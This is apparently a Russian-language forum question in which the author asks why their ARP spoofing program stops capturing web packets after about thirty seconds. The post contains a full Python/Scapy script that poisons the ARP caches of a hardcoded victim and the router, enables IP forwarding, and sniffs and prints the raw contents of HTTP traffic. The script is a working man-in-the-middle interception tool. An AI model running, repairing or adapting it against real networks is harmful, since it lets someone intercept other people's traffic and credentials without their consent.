Моя программа спуфинга arp отлично работает примерно полминуты, а затем перестает получать веб-пакеты, продолжая работать, как раньше.
Она распечатывает все данные и через короткий промежуток времени кажется, чтоя не могу найти причину, по которой он отключается
import os
import sys
i, o, e, = sys.stdin, sys.stdout, sys.stderr
from scapy.all import *
sys.stdin, sys.stdout, sys.stderr = i, o, e
VICTIM_IP = "10.0.0.164"
ROUTER_IP = "10.0.0.254"
""" finds mac of given IP """
def MACsnag(IP):
ans, unans = arping(IP)
for s, r in ans:
return r[Ether].src
""" actual spoofing process gets victim ip to think i am the router
and the router thinks i am the victim"""
def Spoof(routerIP, victimIP):
victimMAC = MACsnag(victimIP)
routerMAC = MACsnag(routerIP)
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
""" returns router and victim to regular connection"""
def Restore(routerIP, victimIP):
victimMAC = MACsnag(victimIP)
routerMAC = MACsnag(routerIP)
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=4)
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=4)
"""filters http packets in the network"""
def httpfilter(p):
return TCP in p and p[TCP].dport == 80
"""sniffs using http filter and writes to console "i like cake" if www is in packet"""
def sniffer():
f = lambda x: x.sprintf(" Source: %IP.src% : %Ether.src%, \n %Raw.load% \n\n Reciever: %IP.dst% \n +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n")
pkts = sniff(lfilter=httpfilter, count=1, prn=f)
for p in pkts:
if "www" in p.sprintf('%Raw.load%'):
print "i like cake"
def main():
victimIP = VICTIM_IP
routerIP = ROUTER_IP
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
while 1:
try:
Spoof(routerIP, victimIP)
sniffer()
Restore(routerIP, victimIP)
time.sleep(2)
except KeyboardInterrupt:
print "there was an exception"
Restore(routerIP, victimIP)
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
if __name__ == "__main__":
main()